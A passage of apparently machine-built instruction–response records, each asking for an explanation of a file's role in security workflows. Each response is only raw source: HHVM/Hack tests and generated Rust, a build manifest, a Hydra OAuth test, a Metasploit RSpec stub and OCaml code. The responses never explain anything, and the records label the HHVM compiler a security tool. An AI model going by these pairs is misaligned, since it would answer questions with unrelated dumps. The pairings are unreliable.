);\n\n //Error, can only use num (int/float) in numerical operations.\n expect_variadic(\n (...$y) ==> {\n return $y[0] + $y[1];\n },\n );\n\n expect_variadic((...$y) ==> $y[0]->foo()); //Error, no foo() on int.\n\n $lambda = (...$y) ==> $y[0]->foo();\n expect_variadic($lambda); //Error, no foo() on int.\n\n $lambda2 = (C ...$y) ==> $y[0]->foo();\n expect_variadic($lambda2); //Error, incorrect variadic type\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:13071"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/oxidized/impl_gen/ast_defs_impl_gen.rs' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// Copyright (c) Meta Platforms, Inc. and affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the \"hack\" directory of this source tree.\n//\n// @generated SignedSource<<55a487601dee782c6c59f502f9a6b6e9>>\n//\n// To regenerate this file, run:\n// hphp/hack/src/oxidized_regen.sh\n\nuse crate::ast_defs::*;\nimpl ShapeFieldName {\n pub fn mk_sflit_int(p0: Pstring) -> Self {\n ShapeFieldName::SFlitInt(p0)\n }\n pub fn mk_sflit_str(p0: PositionedByteString) -> Self {\n ShapeFieldName::SFlitStr(p0)\n }\n pub fn mk_sfclass_const(p0: Id, p1: Pstring) -> Self {\n ShapeFieldName::SFclassConst(p0, p1)\n }\n pub fn is_sflit_int(&self) -> bool {\n match self {\n ShapeFieldName::SFlitInt(..) => true,\n _ => false,\n }\n }\n pub fn is_sflit_str(&self) -> bool {\n match self {\n ShapeFieldName::SFlitStr(..) => true,\n _ => false,\n }\n }\n pub fn is_sfclass_const(&self) -> bool {\n match self {\n ShapeFieldName::SFclassConst(..) => true,\n _ => false,\n }\n }\n pub fn as_sflit_int(&self) -> Option<&Pstring> {\n match self {\n ShapeFieldName::SFlitInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sflit_str(&self) -> Option<&PositionedByteString> {\n match self {\n ShapeFieldName::SFlitStr(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sfclass_const(&self) -> Option<(&Id, &Pstring)> {\n match self {\n ShapeFieldName::SFclassConst(p0, p1) => Some((p0, p1)),\n _ => None,\n }\n }\n pub fn as_sflit_int_mut(&mut self) -> Option<&mut Pstring> {\n match self {\n ShapeFieldName::SFlitInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sflit_str_mut(&mut self) -> Option<&mut PositionedByteString> {\n match self {\n ShapeFieldName::SFlitStr(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sfclass_const_mut(&mut self) -> Option<(&mut Id, &mut Pstring)> {\n match self {\n ShapeFieldName::SFclassConst(p0, p1) => Some((p0, p1)),\n _ => None,\n }\n }\n pub fn as_sflit_int_into(self) -> Option {\n match self {\n ShapeFieldName::SFlitInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sflit_str_into(self) -> Option {\n match self {\n ShapeFieldName::SFlitStr(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_sfclass_const_into(self) -> Option<(Id, Pstring)> {\n match self {\n ShapeFieldName::SFclassConst(p0, p1) => Some((p0, p1)),\n _ => None,\n }\n }\n}\nimpl Variance {\n pub fn mk_covariant() -> Self {\n Variance::Covariant\n }\n pub fn mk_contravariant() -> Self {\n Variance::Contravariant\n }\n pub fn mk_invariant() -> Self {\n Variance::Invariant\n }\n pub fn is_covariant(&self) -> bool {\n match self {\n Variance::Covariant => true,\n _ => false,\n }\n }\n pub fn is_contravariant(&self) -> bool {\n match self {\n Variance::Contravariant => true,\n _ => false,\n }\n }\n pub fn is_invariant(&self) -> bool {\n match self {\n Variance::Invariant => true,\n _ => false,\n }\n }\n}\nimpl ConstraintKind {\n pub fn mk_constraint_as() -> Self {\n ConstraintKind::ConstraintAs\n }\n pub fn mk_constraint_eq() -> Self {\n ConstraintKind::ConstraintEq\n }\n pub fn mk_constraint_super() -> Self {\n ConstraintKind::ConstraintSuper\n }\n pub fn is_constraint_as(&self) -> bool {\n match self {\n ConstraintKind::ConstraintAs => true,\n _ => false,\n }\n }\n pub fn is_constraint_eq(&self) -> bool {\n match self {\n ConstraintKind::ConstraintEq => true,\n _ => false,\n }\n }\n pub fn is_constraint_super(&self) -> bool {\n match self {\n ConstraintKind::ConstraintSuper => true,\n _ => false,\n }\n }\n}\nimpl Abstraction {\n pub fn mk_concrete() -> Self {\n Abstraction::Concrete\n }\n pub fn mk_abstract() -> Self {\n Abstraction::Abstract\n }\n pub fn is_concrete(&self) -> bool {\n match self {\n Abstraction::Concrete => true,\n _ => false,\n }\n }\n pub fn is_abstract(&self) -> bool {\n match self {\n Abstraction::Abstract => true,\n _ => false,\n }\n }\n}\nimpl ClassishKind {\n pub fn mk_cclass(p0: Abstraction) -> Self {\n ClassishKind::Cclass(p0)\n }\n pub fn mk_cinterface() -> Self {\n ClassishKind::Cinterface\n }\n pub fn mk_ctrait() -> Self {\n ClassishKind::Ctrait\n }\n pub fn mk_cenum() -> Self {\n ClassishKind::Cenum\n }\n pub fn mk_cenum_class(p0: Abstraction) -> Self {\n ClassishKind::CenumClass(p0)\n }\n pub fn is_cclass(&self) -> bool {\n match self {\n ClassishKind::Cclass(..) => true,\n _ => false,\n }\n }\n pub fn is_cinterface(&self) -> bool {\n match self {\n ClassishKind::Cinterface => true,\n _ => false,\n }\n }\n pub fn is_ctrait(&self) -> bool {\n match self {\n ClassishKind::Ctrait => true,\n _ => false,\n }\n }\n pub fn is_cenum(&self) -> bool {\n match self {\n ClassishKind::Cenum => true,\n _ => false,\n }\n }\n pub fn is_cenum_class(&self) -> bool {\n match self {\n ClassishKind::CenumClass(..) => true,\n _ => false,\n }\n }\n pub fn as_cclass(&self) -> Option<&Abstraction> {\n match self {\n ClassishKind::Cclass(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_cenum_class(&self) -> Option<&Abstraction> {\n match self {\n ClassishKind::CenumClass(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_cclass_mut(&mut self) -> Option<&mut Abstraction> {\n match self {\n ClassishKind::Cclass(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_cenum_class_mut(&mut self) -> Option<&mut Abstraction> {\n match self {\n ClassishKind::CenumClass(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_cclass_into(self) -> Option {\n match self {\n ClassishKind::Cclass(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_cenum_class_into(self) -> Option {\n match self {\n ClassishKind::CenumClass(p0) => Some(p0),\n _ => None,\n }\n }\n}\nimpl ParamKind {\n pub fn mk_pinout(p0: Pos) -> Self {\n ParamKind::Pinout(p0)\n }\n pub fn mk_pnormal() -> Self {\n ParamKind::Pnormal\n }\n pub fn is_pinout(&self) -> bool {\n match self {\n ParamKind::Pinout(..) => true,\n _ => false,\n }\n }\n pub fn is_pnormal(&self) -> bool {\n match self {\n ParamKind::Pnormal => true,\n _ => false,\n }\n }\n pub fn as_pinout(&self) -> Option<&Pos> {\n match self {\n ParamKind::Pinout(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_pinout_mut(&mut self) -> Option<&mut Pos> {\n match self {\n ParamKind::Pinout(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_pinout_into(self) -> Option {\n match self {\n ParamKind::Pinout(p0) => Some(p0),\n _ => None,\n }\n }\n}\nimpl ReadonlyKind {\n pub fn mk_readonly() -> Self {\n ReadonlyKind::Readonly\n }\n pub fn is_readonly(&self) -> bool {\n true\n }\n}\nimpl OgNullFlavor {\n pub fn mk_ognullthrows() -> Self {\n OgNullFlavor::OGNullthrows\n }\n pub fn mk_ognullsafe() -> Self {\n OgNullFlavor::OGNullsafe\n }\n pub fn is_ognullthrows(&self) -> bool {\n match self {\n OgNullFlavor::OGNullthrows => true,\n _ => false,\n }\n }\n pub fn is_ognullsafe(&self) -> bool {\n match self {\n OgNullFlavor::OGNullsafe => true,\n _ => false,\n }\n }\n}\nimpl PropOrMethod {\n pub fn mk_is_prop() -> Self {\n PropOrMethod::IsProp\n }\n pub fn mk_is_method() -> Self {\n PropOrMethod::IsMethod\n }\n pub fn is_is_prop(&self) -> bool {\n match self {\n PropOrMethod::IsProp => true,\n _ => false,\n }\n }\n pub fn is_is_method(&self) -> bool {\n match self {\n PropOrMethod::IsMethod => true,\n _ => false,\n }\n }\n}\nimpl FunKind {\n pub fn mk_fsync() -> Self {\n FunKind::FSync\n }\n pub fn mk_fasync() -> Self {\n FunKind::FAsync\n }\n pub fn mk_fgenerator() -> Self {\n FunKind::FGenerator\n }\n pub fn mk_fasync_generator() -> Self {\n FunKind::FAsyncGenerator\n }\n pub fn is_fsync(&self) -> bool {\n match self {\n FunKind::FSync => true,\n _ => false,\n }\n }\n pub fn is_fasync(&self) -> bool {\n match self {\n FunKind::FAsync => true,\n _ => false,\n }\n }\n pub fn is_fgenerator(&self) -> bool {\n match self {\n FunKind::FGenerator => true,\n _ => false,\n }\n }\n pub fn is_fasync_generator(&self) -> bool {\n match self {\n FunKind::FAsyncGenerator => true,\n _ => false,\n }\n }\n}\nimpl Bop {\n pub fn mk_plus() -> Self {\n Bop::Plus\n }\n pub fn mk_minus() -> Self {\n Bop::Minus\n }\n pub fn mk_star() -> Self {\n Bop::Star\n }\n pub fn mk_slash() -> Self {\n Bop::Slash\n }\n pub fn mk_eqeq() -> Self {\n Bop::Eqeq\n }\n pub fn mk_eqeqeq() -> Self {\n Bop::Eqeqeq\n }\n pub fn mk_starstar() -> Self {\n Bop::Starstar\n }\n pub fn mk_diff() -> Self {\n Bop::Diff\n }\n pub fn mk_diff2() -> Self {\n Bop::Diff2\n }\n pub fn mk_ampamp() -> Self {\n Bop::Ampamp\n }\n pub fn mk_barbar() -> Self {\n Bop::Barbar\n }\n pub fn mk_lt() -> Self {\n Bop::Lt\n }\n pub fn mk_lte() -> Self {\n Bop::Lte\n }\n pub fn mk_gt() -> Self {\n Bop::Gt\n }\n pub fn mk_gte() -> Self {\n Bop::Gte\n }\n pub fn mk_dot() -> Self {\n Bop::Dot\n }\n pub fn mk_amp() -> Self {\n Bop::Amp\n }\n pub fn mk_bar() -> Self {\n Bop::Bar\n }\n pub fn mk_ltlt() -> Self {\n Bop::Ltlt\n }\n pub fn mk_gtgt() -> Self {\n Bop::Gtgt\n }\n pub fn mk_percent() -> Self {\n Bop::Percent\n }\n pub fn mk_xor() -> Self {\n Bop::Xor\n }\n pub fn mk_cmp() -> Self {\n Bop::Cmp\n }\n pub fn mk_question_question() -> Self {\n Bop::QuestionQuestion\n }\n pub fn mk_eq(p0: Option>) -> Self {\n Bop::Eq(p0)\n }\n pub fn is_plus(&self) -> bool {\n match self {\n Bop::Plus => true,\n _ => false,\n }\n }\n pub fn is_minus(&self) -> bool {\n match self {\n Bop::Minus => true,\n _ => false,\n }\n }\n pub fn is_star(&self) -> bool {\n match self {\n Bop::Star => true,\n _ => false,\n }\n }\n pub fn is_slash(&self) -> bool {\n match self {\n Bop::Slash => true,\n _ => false,\n }\n }\n pub fn is_eqeq(&self) -> bool {\n match self {\n Bop::Eqeq => true,\n _ => false,\n }\n }\n pub fn is_eqeqeq(&self) -> bool {\n match self {\n Bop::Eqeqeq => true,\n _ => false,\n }\n }\n pub fn is_starstar(&self) -> bool {\n match self {\n Bop::Starstar => true,\n _ => false,\n }\n }\n pub fn is_diff(&self) -> bool {\n match self {\n Bop::Diff => true,\n _ => false,\n }\n }\n pub fn is_diff2(&self) -> bool {\n match self {\n Bop::Diff2 => true,\n _ => false,\n }\n }\n pub fn is_ampamp(&self) -> bool {\n match self {\n Bop::Ampamp => true,\n _ => false,\n }\n }\n pub fn is_barbar(&self) -> bool {\n match self {\n Bop::Barbar => true,\n _ => false,\n }\n }\n pub fn is_lt(&self) -> bool {\n match self {\n Bop::Lt => true,\n _ => false,\n }\n }\n pub fn is_lte(&self) -> bool {\n match self {\n Bop::Lte => true,\n _ => false,\n }\n }\n pub fn is_gt(&self) -> bool {\n match self {\n Bop::Gt => true,\n _ => false,\n }\n }\n pub fn is_gte(&self) -> bool {\n match self {\n Bop::Gte => true,\n _ => false,\n }\n }\n pub fn is_dot(&self) -> bool {\n match self {\n Bop::Dot => true,\n _ => false,\n }\n }\n pub fn is_amp(&self) -> bool {\n match self {\n Bop::Amp => true,\n _ => false,\n }\n }\n pub fn is_bar(&self) -> bool {\n match self {\n Bop::Bar => true,\n _ => false,\n }\n }\n pub fn is_ltlt(&self) -> bool {\n match self {\n Bop::Ltlt => true,\n _ => false,\n }\n }\n pub fn is_gtgt(&self) -> bool {\n match self {\n Bop::Gtgt => true,\n _ => false,\n }\n }\n pub fn is_percent(&self) -> bool {\n match self {\n Bop::Percent => true,\n _ => false,\n }\n }\n pub fn is_xor(&self) -> bool {\n match self {\n Bop::Xor => true,\n _ => false,\n }\n }\n pub fn is_cmp(&self) -> bool {\n match self {\n Bop::Cmp => true,\n _ => false,\n }\n }\n pub fn is_question_question(&self) -> bool {\n match self {\n Bop::QuestionQuestion => true,\n _ => false,\n }\n }\n pub fn is_eq(&self) -> bool {\n match self {\n Bop::Eq(..) => true,\n _ => false,\n }\n }\n pub fn as_eq(&self) -> Option<&Option>> {\n match self {\n Bop::Eq(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_eq_mut(&mut self) -> Option<&mut Option>> {\n match self {\n Bop::Eq(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_eq_into(self) -> Option>> {\n match self {\n Bop::Eq(p0) => Some(p0),\n _ => None,\n }\n }\n}\nimpl Uop {\n pub fn mk_utild() -> Self {\n Uop::Utild\n }\n pub fn mk_unot() -> Self {\n Uop::Unot\n }\n pub fn mk_uplus() -> Self {\n Uop::Uplus\n }\n pub fn mk_uminus() -> Self {\n Uop::Uminus\n }\n pub fn mk_uincr() -> Self {\n Uop::Uincr\n }\n pub fn mk_udecr() -> Self {\n Uop::Udecr\n }\n pub fn mk_upincr() -> Self {\n Uop::Upincr\n }\n pub fn mk_updecr() -> Self {\n Uop::Updecr\n }\n pub fn mk_usilence() -> Self {\n Uop::Usilence\n }\n pub fn is_utild(&self) -> bool {\n match self {\n Uop::Utild => true,\n _ => false,\n }\n }\n pub fn is_unot(&self) -> bool {\n match self {\n Uop::Unot => true,\n _ => false,\n }\n }\n pub fn is_uplus(&self) -> bool {\n match self {\n Uop::Uplus => true,\n _ => false,\n }\n }\n pub fn is_uminus(&self) -> bool {\n match self {\n Uop::Uminus => true,\n _ => false,\n }\n }\n pub fn is_uincr(&self) -> bool {\n match self {\n Uop::Uincr => true,\n _ => false,\n }\n }\n pub fn is_udecr(&self) -> bool {\n match self {\n Uop::Udecr => true,\n _ => false,\n }\n }\n pub fn is_upincr(&self) -> bool {\n match self {\n Uop::Upincr => true,\n _ => false,\n }\n }\n pub fn is_updecr(&self) -> bool {\n match self {\n Uop::Updecr => true,\n _ => false,\n }\n }\n pub fn is_usilence(&self) -> bool {\n match self {\n Uop::Usilence => true,\n _ => false,\n }\n }\n}\nimpl Visibility {\n pub fn mk_private() -> Self {\n Visibility::Private\n }\n pub fn mk_public() -> Self {\n Visibility::Public\n }\n pub fn mk_protected() -> Self {\n Visibility::Protected\n }\n pub fn mk_internal() -> Self {\n Visibility::Internal\n }\n pub fn is_private(&self) -> bool {\n match self {\n Visibility::Private => true,\n _ => false,\n }\n }\n pub fn is_public(&self) -> bool {\n match self {\n Visibility::Public => true,\n _ => false,\n }\n }\n pub fn is_protected(&self) -> bool {\n match self {\n Visibility::Protected => true,\n _ => false,\n }\n }\n pub fn is_internal(&self) -> bool {\n match self {\n Visibility::Internal => true,\n _ => false,\n }\n }\n}\nimpl XhpEnumValue {\n pub fn mk_xevint(p0: isize) -> Self {\n XhpEnumValue::XEVInt(p0)\n }\n pub fn mk_xevstring(p0: String) -> Self {\n XhpEnumValue::XEVString(p0)\n }\n pub fn is_xevint(&self) -> bool {\n match self {\n XhpEnumValue::XEVInt(..) => true,\n _ => false,\n }\n }\n pub fn is_xevstring(&self) -> bool {\n match self {\n XhpEnumValue::XEVString(..) => true,\n _ => false,\n }\n }\n pub fn as_xevint(&self) -> Option<&isize> {\n match self {\n XhpEnumValue::XEVInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_xevstring(&self) -> Option<&String> {\n match self {\n XhpEnumValue::XEVString(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_xevint_mut(&mut self) -> Option<&mut isize> {\n match self {\n XhpEnumValue::XEVInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_xevstring_mut(&mut self) -> Option<&mut String> {\n match self {\n XhpEnumValue::XEVString(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_xevint_into(self) -> Option {\n match self {\n XhpEnumValue::XEVInt(p0) => Some(p0),\n _ => None,\n }\n }\n pub fn as_xevstring_into(self) -> Option {\n match self {\n XhpEnumValue::XEVString(p0) => Some(p0),\n _ => None,\n }\n }\n}\nimpl Tprim {\n pub fn mk_tnull() -> Self {\n Tprim::Tnull\n }\n pub fn mk_tvoid() -> Self {\n Tprim::Tvoid\n }\n pub fn mk_tint() -> Self {\n Tprim::Tint\n }\n pub fn mk_tbool() -> Self {\n Tprim::Tbool\n }\n pub fn mk_tfloat() -> Self {\n Tprim::Tfloat\n }\n pub fn mk_tstring() -> Self {\n Tprim::Tstring\n }\n pub fn mk_tresource() -> Self {\n Tprim::Tresource\n }\n pub fn mk_tnum() -> Self {\n Tprim::Tnum\n }\n pub fn mk_tarraykey() -> Self {\n Tprim::Tarraykey\n }\n pub fn mk_tnoreturn() -> Self {\n Tprim::Tnoreturn\n }\n pub fn is_tnull(&self) -> bool {\n match self {\n Tprim::Tnull => true,\n _ => false,\n }\n }\n pub fn is_tvoid(&self) -> bool {\n match self {\n Tprim::Tvoid => true,\n _ => false,\n }\n }\n pub fn is_tint(&self) -> bool {\n match self {\n Tprim::Tint => true,\n _ => false,\n }\n }\n pub fn is_tbool(&self) -> bool {\n match self {\n Tprim::Tbool => true,\n _ => false,\n }\n }\n pub fn is_tfloat(&self) -> bool {\n match self {\n Tprim::Tfloat => true,\n _ => false,\n }\n }\n pub fn is_tstring(&self) -> bool {\n match self {\n Tprim::Tstring => true,\n _ => false,\n }\n }\n pub fn is_tresource(&self) -> bool {\n match self {\n Tprim::Tresource => true,\n _ => false,\n }\n }\n pub fn is_tnum(&self) -> bool {\n match self {\n Tprim::Tnum => true,\n _ => false,\n }\n }\n pub fn is_tarraykey(&self) -> bool {\n match self {\n Tprim::Tarraykey => true,\n _ => false,\n }\n }\n pub fn is_tnoreturn(&self) -> bool {\n match self {\n Tprim::Tnoreturn => true,\n _ => false,\n }\n }\n}\nimpl TypedefVisibility {\n pub fn mk_transparent() -> Self {\n TypedefVisibility::Transparent\n }\n pub fn mk_opaque() -> Self {\n TypedefVisibility::Opaque\n }\n pub fn mk_opaque_module() -> Self {\n TypedefVisibility::OpaqueModule\n }\n pub fn mk_case_type() -> Self {\n TypedefVisibility::CaseType\n }\n pub fn is_transparent(&self) -> bool {\n match self {\n TypedefVisibility::Transparent => true,\n _ => false,\n }\n }\n pub fn is_opaque(&self) -> bool {\n match self {\n TypedefVisibility::Opaque => true,\n _ => false,\n }\n }\n pub fn is_opaque_module(&self) -> bool {\n match self {\n TypedefVisibility::OpaqueModule => true,\n _ => false,\n }\n }\n pub fn is_case_type(&self) -> bool {\n match self {\n TypedefVisibility::CaseType => true,\n _ => false,\n }\n }\n}\nimpl ReifyKind {\n pub fn mk_erased() -> Self {\n ReifyKind::Erased\n }\n pub fn mk_soft_reified() -> Self {\n ReifyKind::SoftReified\n }\n pub fn mk_reified() -> Self {\n ReifyKind::Reified\n }\n pub fn is_erased(&self) -> bool {\n match self {\n ReifyKind::Erased => true,\n _ => false,\n }\n }\n pub fn is_soft_reified(&self) -> bool {\n match self {\n ReifyKind::SoftReified => true,\n _ => false,\n }\n }\n pub fn is_reified(&self) -> bool {\n match self {\n ReifyKind::Reified => true,\n _ => false,\n }\n }\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:4303"}} -{"instruction": "Explain the purpose and role of 'hhvm/build/fbcode_builder/manifests/python-six' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "[manifest]\nname = python-six\n\n[download]\nurl = https://files.pythonhosted.org/packages/73/fb/00a976f728d0d1fecfe898238ce23f502a721c0ac0ecfedb80e0d88c64e9/six-1.12.0-py2.py3-none-any.whl\nsha256 = 3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c\n\n[build]\nbuilder = python-wheel", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:2403"}} -{"instruction": "Explain the purpose and role of 'hydra/cypress/integration/oauth2/jwt.js' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "// Copyright © 2022 Ory Corp\n// SPDX-License-Identifier: Apache-2.0\n\nimport { createClient, prng } from \"../../helpers\"\n\nconst accessTokenStrategies = [\"opaque\", \"jwt\"]\n\ndescribe(\"OAuth 2.0 JSON Web Token Access Tokens\", () => {\n accessTokenStrategies.forEach((accessTokenStrategy) => {\n describe(\"access_token_strategy=\" + accessTokenStrategy, function () {\n before(function () {\n // this must be a function otherwise this.skip() fails because the context is wrong\n if (\n accessTokenStrategy === \"opaque\" ||\n (Cypress.env(\"jwt_enabled\") !== \"true\" &&\n !Boolean(Cypress.env(\"jwt_enabled\")))\n ) {\n this.skip()\n }\n })\n\n const nc = () => ({\n client_secret: prng(),\n scope: \"offline_access\",\n redirect_uris: [`${Cypress.env(\"client_url\")}/oauth2/callback`],\n grant_types: [\"authorization_code\", \"refresh_token\"],\n access_token_strategy: accessTokenStrategy,\n })\n\n it(\"should return an Access Token in JWT format and validate it and a Refresh Token in opaque format\", () => {\n createClient(nc()).then((client) => {\n cy.authCodeFlow(client, {\n consent: { scope: [\"offline_access\"], createClient: true },\n createClient: false,\n })\n\n cy.request(`${Cypress.env(\"client_url\")}/oauth2/refresh`)\n .its(\"body\")\n .then((body) => {\n const { result, token } = body\n expect(result).to.equal(\"success\")\n\n expect(token.access_token).to.not.be.empty\n expect(token.refresh_token).to.not.be.empty\n expect(token.access_token.split(\".\").length).to.equal(3)\n expect(token.refresh_token.split(\".\").length).to.equal(2)\n })\n\n cy.request(`${Cypress.env(\"client_url\")}/oauth2/validate-jwt`)\n .its(\"body\")\n .then((body) => {\n console.log(body)\n expect(body.sub).to.eq(\"foo@bar.com\")\n expect(body.client_id).to.eq(client.client_id)\n expect(body.jti).to.not.be.empty\n })\n })\n })\n })\n })\n})", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:62869"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/spec/support/shared/examples/msf/db_manager/ref.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "RSpec.shared_examples_for 'Msf::DBManager::Ref' do\n\n if ENV['REMOTE_DB']\n before {skip(\"Not supported for remote DB\")}\n end\n\n it { is_expected.to respond_to :find_or_create_ref }\n it { is_expected.to respond_to :get_ref }\n it { is_expected.to respond_to :has_ref? }\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:46645"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/expression_trees/potential_void_return.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\n\nasync function potential_void_return(\n ExampleContext $_,\n): Awaitable<\n ExprTree<\n ExampleDsl,\n ExampleDsl::TAst,\n ExampleFunction<(function(\n ExampleFunction<(function(): T)>\n ): T)>\n >\n >\n{\n return ExampleDsl`(ExampleFunction<(function(): T)> $x): T ==> {\n return $x();\n }`;\n}\n\nfunction test(): void {\n ExampleDsl`\n (ExampleBool $b) ==> {\n // Lambda that return ExampleVoid\n $x = () ==> {};\n if ($b) {\n return potential_void_return($x);\n }\n // We do not append a virtualized `return;` here because we are unable to\n // determine during virtualization whether this a void return lambda\n // Thus, we get an inconvenient type error, but it has been deemed\n // okay for developers to append `return;` here themselves as a compromise\n }\n `;\n}\n\nfunction test2(): void {\n ExampleDsl`\n (ExampleBool $b) ==> {\n // Lambda that returns ExampleVoid\n $x = () ==> {};\n if ($b) {\n return potential_void_return($x);\n }\n // Developers currently need to write this return themselves rather\n // than rely on virtualization to write it there for them\n return;\n }\n `;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:12388"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/server/serverDocblockAt.ml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) 2015, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\nopen Hh_prelude\nmodule Cls = Decl_provider.Class\n\nlet get_all_ancestors ctx class_name =\n let rec helper classes_to_check cinfos seen_classes =\n match classes_to_check with\n | [] -> cinfos\n | class_name :: classes when SSet.mem class_name seen_classes ->\n helper classes cinfos seen_classes\n | class_name :: classes -> begin\n match Decl_provider.get_class ctx class_name with\n | None -> helper classes cinfos seen_classes\n | Some class_info ->\n let ancestors =\n Cls.all_ancestor_names class_info\n |> List.fold ~init:classes ~f:(fun acc cid -> cid :: acc)\n in\n helper\n ancestors\n (class_info :: cinfos)\n (SSet.add class_name seen_classes)\n end\n in\n helper [class_name] [] SSet.empty\n\nlet get_docblock_for_member ctx class_info member_name =\n let open Option.Monad_infix in\n Cls.get_method class_info member_name >>= fun member ->\n match Typing_defs.get_node @@ Lazy.force member.Typing_defs.ce_type with\n | Typing_defs.Tfun _ ->\n let pos =\n Lazy.force member.Typing_defs.ce_pos\n |> Naming_provider.resolve_position ctx\n in\n let path = Pos.filename pos in\n let (ctx, entry) = Provider_context.add_entry_if_missing ~ctx ~path in\n ServerSymbolDefinition.get_definition_cst_node_ctx\n ~ctx\n ~entry\n ~kind:SymbolDefinition.Method\n ~pos\n >>= Docblock_finder.get_docblock\n | _ -> None\n\nlet render_ancestor_docblocks docblocks =\n let docblocks_to_ancestor =\n docblocks\n |> List.fold ~init:SMap.empty ~f:(fun acc (class_name, docblock) ->\n let existing_ancestors =\n match SMap.find_opt docblock acc with\n | None -> []\n | Some lst -> lst\n in\n SMap.add docblock (class_name :: existing_ancestors) acc)\n in\n match SMap.elements docblocks_to_ancestor with\n | [] -> None\n | [(docblock, _)] -> Some docblock\n | docblock_ancestors_pairs ->\n docblock_ancestors_pairs\n |> List.map ~f:(fun (docblock, ancestors) ->\n let ancestors_str =\n String.concat ~sep:\", \" (List.map ~f:Utils.strip_ns ancestors)\n in\n Printf.sprintf \"%s\\n(from %s)\" docblock ancestors_str)\n |> String.concat ~sep:\"\\n\\n---\\n\\n\"\n |> fun results -> Some results\n\nlet fallback ctx class_name member_name =\n let rec all_interfaces_or_first_class_docblock\n seen_interfaces ancestors_to_check =\n match ancestors_to_check with\n | [] -> seen_interfaces\n | ancestor :: ancestors -> begin\n match get_docblock_for_member ctx ancestor member_name with\n | None -> all_interfaces_or_first_class_docblock seen_interfaces ancestors\n | Some docblock ->\n (match Cls.kind ancestor with\n | Ast_defs.Cclass _ -> [(Cls.name ancestor, docblock)]\n | Ast_defs.(Ctrait | Cinterface | Cenum | Cenum_class _) ->\n all_interfaces_or_first_class_docblock\n ((Cls.name ancestor, docblock) :: seen_interfaces)\n ancestors)\n end\n in\n get_all_ancestors ctx class_name\n |> all_interfaces_or_first_class_docblock []\n |> render_ancestor_docblocks\n\nlet re_generated =\n Str.regexp \"^This file is generated\\\\.\\\\(.*\\n\\\\)*^\\u{40}generated.*$\"\n\nlet re_partially_generated =\n Str.regexp\n \"^This file is partially generated\\\\.\\\\(.*\\n\\\\)*^\\u{40}partially-generated.*$\"\n\nlet re_copyright1 = Str.regexp \"^(c) Facebook.*$\"\n\nlet re_copyright2 = Str.regexp \"^Copyright [0-9][0-9][0-9][0-9].*$\"\n\nlet re_copyright3 = Str.regexp \"^Copyright (c).*$\"\n\nlet clean_comments (s : string) : string =\n s\n |> Str.global_replace re_generated \"\"\n |> Str.global_replace re_partially_generated \"\"\n |> Str.global_replace re_copyright1 \"\"\n |> Str.global_replace re_copyright2 \"\"\n |> Str.global_replace re_copyright3 \"\"\n |> String.strip\n\nlet go_comments_from_source_text\n ~(ctx : Provider_context.t)\n ~(entry : Provider_context.entry)\n ~(line : int)\n ~(column : int)\n ~(kind : SymbolDefinition.kind) : string option =\n let _ = ctx in\n let filename = Relative_path.to_absolute entry.Provider_context.path in\n let lp =\n {\n Lexing.pos_fname = filename;\n pos_lnum = line;\n pos_cnum = column;\n pos_bol = 0;\n }\n in\n let pos = Pos.make_from_lexing_pos filename lp lp in\n let ffps_opt =\n ServerSymbolDefinition.get_definition_cst_node_ctx ~ctx ~entry ~kind ~pos\n in\n match ffps_opt with\n | None -> None\n | Some ffps ->\n (match Docblock_finder.get_docblock ffps with\n | Some db -> Some (clean_comments db)\n | None -> None)\n\n(* Fetch a definition *)\nlet go_comments_for_symbol_ctx\n ~(ctx : Provider_context.t)\n ~(entry : Provider_context.entry)\n ~(def : 'a SymbolDefinition.t)\n ~(base_class_name : string option) : string option =\n match def.SymbolDefinition.docblock with\n | Some db -> Some (clean_comments db)\n | None ->\n (match\n ServerSymbolDefinition.get_definition_cst_node_ctx\n ~ctx\n ~entry\n 